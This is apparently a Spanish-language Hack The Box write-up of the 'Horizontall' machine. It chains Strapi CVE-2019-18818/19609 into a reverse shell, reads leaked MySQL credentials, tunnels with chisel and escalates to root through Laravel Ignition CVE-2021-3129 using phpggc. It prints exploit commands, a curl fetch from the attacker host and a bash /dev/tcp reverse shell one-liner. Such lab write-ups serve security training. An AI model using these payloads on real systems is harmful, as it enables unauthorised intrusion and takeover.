Horizontall
11 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.105
- Fecha: 28 / 08 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.105 -p 22,80
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.27 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
La página web está redirigiendo a http://horizontall.htb
, por lo que es necesario añadir el dominio al archivo /etc/hosts
. Después, podremos ver una aplicación web hecha en Vue.js (un framework de JavaScript para front-end):
Sin embargo, lo único interesante aquí es un archivo de JavaScript que contiene una URL para http://api-prod.horizontall.htb
(podemos encontrarla buscando por "horizontall.htb"
):
Y de nuevo, añadimos el subdominio a /etc/hosts
. En este subdominio vemos una simple aplicación web como la siguiente:
Ejecutando gobuster
podemos enumerar algunas rutas:
$ gobuster dir -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -q -r -u http://api-prod.horizontall.htb
/reviews (Status: 200) [Size: 507]
/users (Status: 403) [Size: 60]
/admin (Status: 200) [Size: 854]
Enumeración de API
Las primeras dos rutas devuelven un resultado en JSON:
$ curl -s api-prod.horizontall.htb/users | jq
{
"statusCode": 403,
"error": "Forbidden",
"message": "Forbidden"
}
$ curl -s api-prod.horizontall.htb/reviews | jq
[
{
"id": 1,
"name": "wail",
"description": "This is good service",
"stars": 4,
"created_at": "2021-05-29T13:23:38.000Z",
"updated_at": "2021-05-29T13:23:38.000Z"
},
{
"id": 2,
"name": "doe",
"description": "i'm satisfied with the product",
"stars": 5,
"created_at": "2021-05-29T13:24:17.000Z",
"updated_at": "2021-05-29T13:24:17.000Z"
},
{
"id": 3,
"name": "john",
"description": "create service with minimum price i hop i can buy more in the futur",
"stars": 5,
"created_at": "2021-05-29T13:25:26.000Z",
"updated_at": "2021-05-29T13:25:26.000Z"
}
]
Y la ruta /admin
redirige a /admin/auth/login
y muestra un formulario de inicio de sesión de Strapi. Sin embargo, no podemos hacer nada aquí. Podemos probar credenciales por defecto, pero no funcionan.
Podemos comprobar todas las peticiones que se realizan al acceder a /admin
desde las herramientas de desarrollador del navegador. Hay una que apunta a /admin/init
que responde con cierta información que incluye la versión de Strapi:
$ curl -s api-prod.horizontall.htb/admin/init | jq
{
"data": {
"uuid": "a55da3bd-9693-4a08-9279-f9df57fd1817",
"currentEnvironment": "development",
"autoReload": false,
"strapiVersion": "3.0.0-beta.17.4"
}
}
Con esta información, podemos buscar exploits y vulnerabilidades para esta versión de Strapi. Existen dos que aplican en este caso. El primero permite cambiar la contraseña de admin
sin autenticación (CVE-2019-18818), y el otro consigue ejecución remota de comandos (RCE), pero necesita autenticación como administrador (CVE-2019-19609).
Acceso a la máquina
En este blog se explica la vulnerabilidad del reinicio de contraseña. Existe un código en Python que lo automatiza. El script devuelve el JSON Web Token (JWT) del usuario que se ha autenticado. Y de hecho, este token JWT es necesario para ejecutar el segundo exploit, que puede encontrarse aquí.
Explotando Strapi
Para obtener RCE en Strapi, junté ambos exploits en un script de Python llamado rce_strapi.py
(explicación detallada aquí).
Se necesita la dirección de correo de admin
, pero podemos deducir que es admin@horizontall.htb
.
Si ejecutamos el script, la contraseña se cambiará a la indicada (asdfasdfasdf
). Y obtenemos acceso a la máquina desde nc
:
$ python3 rce_strapi.py 10.10.17.44 4444
[*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
[*] Sending password reset request...
[*] Setting new password...
[*] Response: {"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMTg5ODcyLCJleHAiOjE2MzI3ODE4NzJ9.4_HRMhnzA9CEcw6-p2uCOKJWTxpRkCiMaWiNfGDWKRc","user":{"id":3,"username":"admin","email":"admin@horizontall.htb","blocked":null}}
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.105.
Ncat: Connection from 10.10.11.105:40764.
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
strapi@horizontall:~/myapi$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
strapi@horizontall:~/myapi$ export TERM=xterm
strapi@horizontall:~/myapi$ export SHELL=bash
strapi@horizontall:~/myapi$ stty rows 50 columns 158
Enumeración del sistema
Desde la máquina, podemos ver que existe un usuario llamado developer
. No obstante, podemos listar su directorio personal y leer la flag user.txt
:
strapi@horizontall:~/myapi$ ls /home
developer
strapi@horizontall:~/myapi$ ls -la /home/developer/
total 108
drwxr-xr-x 8 developer developer 4096 Aug 2 12:07 .
drwxr-xr-x 3 root root 4096 May 25 11:43 ..
lrwxrwxrwx 1 root root 9 Aug 2 12:05 .bash_history -> /dev/null
-rw-r----- 1 developer developer 242 Jun 1 12:53 .bash_logout
-rw-r----- 1 developer developer 3810 Jun 1 12:47 .bashrc
drwx------ 3 developer developer 4096 May 26 12:00 .cache
-rw-rw---- 1 developer developer 58460 May 26 11:59 composer-setup.php
drwx------ 5 developer developer 4096 Jun 1 11:54 .config
drwx------ 3 developer developer 4096 May 25 11:45 .gnupg
drwxrwx--- 3 developer developer 4096 May 25 19:44 .local
drwx------ 12 developer developer 4096 May 26 12:21 myproject
-rw-r----- 1 developer developer 807 Apr 4 2018 .profile
drwxrwx--- 2 developer developer 4096 Jun 4 11:21 .ssh
-r--r--r-- 1 developer developer 33 Aug 28 21:38 user.txt
lrwxrwxrwx 1 root root 9 Aug 2 12:07 .viminfo -> /dev/null
strapi@horizontall:~/myapi$ cat /home/developer/user.txt
8737d52fd79f838b0e4dc682bc8a28d9
Existe un archivo interesante llamado composer-setup.php
y un directorio llamado myproject
, pero no tenemos permisos para leerlos.
Podemos buscar credenciales en el código fuente de la aplicación web de Strapi. De hecho, podemos encontrar credenciales para MySQL de la siguiente manera:
strapi@horizontall:~/myapi$ ls -la
total 648
drwxr-xr-x 9 strapi strapi 4096 Jul 29 2021 .
drwxr-xr-x 10 strapi strapi 4096 Feb 3 15:07 ..
drwxr-xr-x 3 strapi strapi 4096 May 29 2021 api
drwxrwxr-x 2 strapi strapi 12288 May 26 2021 build
drwxrwxr-x 5 strapi strapi 4096 May 26 2021 .cache
drwxr-xr-x 5 strapi strapi 4096 Jul 29 2021 config
-rw-r--r-- 1 strapi strapi 249 May 26 2021 .editorconfig
-rw-r--r-- 1 strapi strapi 32 May 26 2021 .eslintignore
-rw-r--r-- 1 strapi strapi 541 May 26 2021 .eslintrc
drwxr-xr-x 3 strapi strapi 4096 May 26 2021 extensions
-rw-r--r-- 1 strapi strapi 1150 May 26 2021 favicon.ico
-rw-r--r-- 1 strapi strapi 1119 May 26 2021 .gitignore
drwxrwxr-x 1099 strapi strapi 36864 Aug 3 2021 node_modules
-rw-rw-r-- 1 strapi strapi 1009 May 26 2021 package.json
-rw-rw-r-- 1 strapi strapi 552845 May 26 2021 package-lock.json
drwxr-xr-x 3 strapi strapi 4096 Jun 2 2021 public
-rw-r--r-- 1 strapi strapi 69 May 26 2021 README.md
strapi@horizontall:~/myapi$ ls -la config/
total 40
drwxr-xr-x 5 strapi strapi 4096 Jul 29 04:24 .
drwxr-xr-x 9 strapi strapi 4096 Jul 29 04:29 ..
-rw-r--r-- 1 strapi strapi 136 May 26 14:31 application.json
-rw-r--r-- 1 strapi strapi 110 May 26 14:31 custom.json
drwxr-xr-x 5 strapi strapi 4096 May 26 14:31 environments
drwxr-xr-x 3 strapi strapi 4096 May 26 14:31 functions
-rw-r--r-- 1 strapi strapi 188 May 26 14:31 hook.json
-rw-r--r-- 1 strapi strapi 173 May 26 14:31 language.json
drwxr-xr-x 2 strapi strapi 4096 May 26 14:31 locales
-rw-r--r-- 1 strapi strapi 317 May 26 14:31 middleware.json
strapi@horizontall:~/myapi$ ls -la config/environments/
total 20
drwxr-xr-x 5 strapi strapi 4096 May 26 14:31 .
drwxr-xr-x 5 strapi strapi 4096 Jul 29 04:24 ..
drwxr-xr-x 2 strapi strapi 4096 Jul 29 04:38 development
drwxr-xr-x 2 strapi strapi 4096 Jul 29 04:24 production
drwxr-xr-x 2 strapi strapi 4096 May 26 14:31 staging
strapi@horizontall:~/myapi$ ls -la config/environments/development/
total 32
drwxr-xr-x 2 strapi strapi 4096 Jul 29 04:38 .
drwxr-xr-x 5 strapi strapi 4096 May 26 14:31 ..
-rw-r--r-- 1 strapi strapi 135 May 26 14:31 custom.json
-rw-rw-r-- 1 strapi strapi 351 May 26 14:31 database.json
-rw-r--r-- 1 strapi strapi 439 May 26 14:31 request.json
-rw-r--r-- 1 strapi strapi 164 May 26 14:31 response.json
-rw-r--r-- 1 strapi strapi 529 May 26 14:31 security.json
-rw-r--r-- 1 strapi strapi 159 May 26 14:31 server.json
strapi@horizontall:~/myapi$ cat config/environments/development/database.json
{
"defaultConnection": "default",
"connections": {
"default": {
"connector": "strapi-hook-bookshelf",
"settings": {
"client": "mysql",
"database": "strapi",
"host": "127.0.0.1",
"port": 3306,
"username": "developer",
"password": "#J!:F9Zt2u"
},
"options": {}
}
}
}
Desafortunadamente, no hay nada que hacer aquí, ya que la contraseña de admin
se cambió con el exploit anterior y no hay más bases de datos aparte de strapi
:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| strapi |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> quit
Bye
Aquí debemos recordar que vimos un archivo PHP y un proyecto en /home/developer
. Entonces, podemos realizar un escaneo de puertos interno mediante un simple script en Bash:
strapi@horizontall:~/myapi$ cd /tmp
strapi@horizontall:/tmp$ echo -e '#!/bin/bash\n\nfor i in $(seq 1 65535); do\n timeout 1 echo 2>/dev/null > /dev/tcp/127.0.0.1/$i && echo "Port $i: open" &\ndone; wait' > .scan.sh
strapi@horizontall:/tmp$ chmod +x .scan.sh
strapi@horizontall:/tmp$ cat .scan.sh
#!/bin/bash
for i in $(seq 1 65535); do
timeout 1 echo 2>/dev/null > /dev/tcp/127.0.0.1/$i && echo "Port $i: open" &
done; wait
strapi@horizontall:/tmp$ ./.scan.sh
Port 22: open
Port 80: open
Port 1337: open
Port 3306: open
Port 8000: open
Port 57900: open
Una manera más sencilla de ejecutar puertos abiertos es mediante netstat
:
strapi@horizontall:/tmp$ netstat -nat | grep LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
Y vemos que hay más puertos que no están expuestos (y por tanto, no reportados por nmap
).
El puerto 1337 contiene la página web de http://api-prod.horizontall.htb
, porque así se encuentra configurado el servidor nginx:
strapi@horizontall:/tmp$ cat /etc/nginx/sites-enabled/horizontall.htb
server {
# server block for 'horizontall.htb' domain
listen 80;
listen [::]:80;
server_name horizontall.htb www.horizontall.htb;
root /var/www/html/horizontall;
index index.html index.htm;
location / {
try_files $uri $uri/ =404;
}
}
server {
listen [::]:80;
listen 80;
server_name api-prod.horizontall.htb;
location / {
proxy_pass http://localhost:1337;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
server {
# server block for all the other requests
# this block will be a default server block listening on port 80
listen 80 default_server;
listen [::]:80 default_server;
# close the connection immediately
return 301 http://horizontall.htb;
}
Escalada de privilegios
Aquí podemos comprobar que http://localhost:8000
contiene una página web hecha en Laravel (un framework de PHP):
strapi@horizontall:/tmp$ curl -I 127.0.0.1:8000
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date:
Connection: close
X-Powered-By: PHP/7.4.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkRsV2pwUEV3Q20zVlFQZzh4Y2JlblE9PSIsInZhbHVlIjoibkdhcjM0U2pNTWErUXQzUkdUSDZWL2FiZnIvS2J2cjFEWGlYRjBvZEdDZElZZGt4OGJOUnhVdWJXdndiL2ZnSXNiZWI3ejl2dXczVVdXT1JKQ0h6TDllUy95RzBhRE1qSDRaYmZmWlBkTGNVbHhXUDIwT2xHM1pyN0huQ3BrNlUiLCJtYWMiOiI1NjYxZGM2NWFiZGNhMWNmZmIwMGQwMzZhZjYzZTkyYTgzNGY2ZWJkYTdlYmQ4OGVjZTBlYmNmYjY3ZGM3MGNkIn0%3D; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IlkyV3AxWUZ3U3ozL0RnTkNwalQ2SWc9PSIsInZhbHVlIjoialFWbE00dzNCa01yeXUxaEU4c08ydU05M1F4WHUzbFp3eUNDLzNFVWNXcGd0YVM4SW9FTHdkVW4xR2Z0V3lxeWx1d2taMFMvdFV5SThDVWNTcFdkT3dXZVBBcnVMS2FuVmlXdTI3aFFVNWF6b0hVYzJYdThZSmJiZmJXQ1ZxNXkiLCJtYWMiOiI3MTI0NTk1ZDE5NzE4N2YwYzAwM2MwOWJlY2NiMDFkMmU5YTY2ZTliNWU1MTk4OTAxNmM0YWQ4M2M0YjA5YWRmIn0%3D; Max-Age=7200; path=/; httponly; samesite=lax
Reenvío de puertos
En este punto, será conveniente realizar un reenvío de puertos mediante chisel
para acceder al puerto 8000 desde la máquina de atacante:
$ ./chisel server -p 1337 --reverse
server: Reverse tunnelling enabled
server: Fingerprint lEVau5AqQ5yJn+cIJcdKHCOmSYVFY67kTuCt1JtmjtY=
server: Listening on http://0.0.0.0:1337
server: session#1: tun: proxy#R:8000=>8000: Listening
strapi@horizontall:/tmp$ curl 10.10.17.44/chisel -o .chisel
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2315k 100 2315k 0 0 402k 0 0:00:05 0:00:05 --:--:-- 409k
strapi@horizontall:/tmp$ chmod +x .chisel
strapi@horizontall:/tmp$ ./.chisel client 10.10.17.44:1337 R:8000:127.0.0.1:8000
client: Connecting to ws://10.10.17.44:1337
client: Connected (Latency 109.928393ms)
Explotando Laravel
Ahora, tenemos acceso a la página web de Laravel desde la máquina de atacante entrando en http://127.0.0.1:8000
:
Esta página dice que se usa Laravel v8 (PHP v7.4.18). De nuevo, podemos encontrar un exploit para esta versión. El que está en ExploitDB no funcionó correctamente, pero existe otro que además viene con explicación disponible aquí (CVE-2021-3129), que tiene un enlace al exploit.
Primero, necesitamos clonar un repositorio (aparte del exploit) para disponer de phpggc
. Luego, podemos seguir los pasos mostrados en el exploit para conseguir ejecución remota de comandos (RCE).
Como prueba de concepto, podemos probar a ejecutar el comando id
:
$ git clone https://github.com/ambionics/phpggc
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar --fast-destruct -o ./exploit.phar monolog/rce1 system id
$ python3 laravel-ignition-rce.py http://localhost:8000 ./exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared
Y vemos que somos root
.
Entonces, a continuación lanzamos el exploit pero con un comando para conseguir una reverse shell en la máquina:
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar --fast-destruct -o ./exploit.phar monolog/rce1 system "bash -c 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1'"
$ python3 laravel-ignition-rce.py http://localhost:8000 ./exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
Y finalmente, conseguimos acceso como root
y podemos leer la flag root.txt
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.105.
Ncat: Connection from 10.10.11.105:49338.
bash: cannot set terminal process group (17432): Inappropriate ioctl for device
bash: no job control in this shell
root@horizontall:/home/developer/myproject/public# cat /root/root.txt
0d37c358b4147cb69b83ef1aa753655f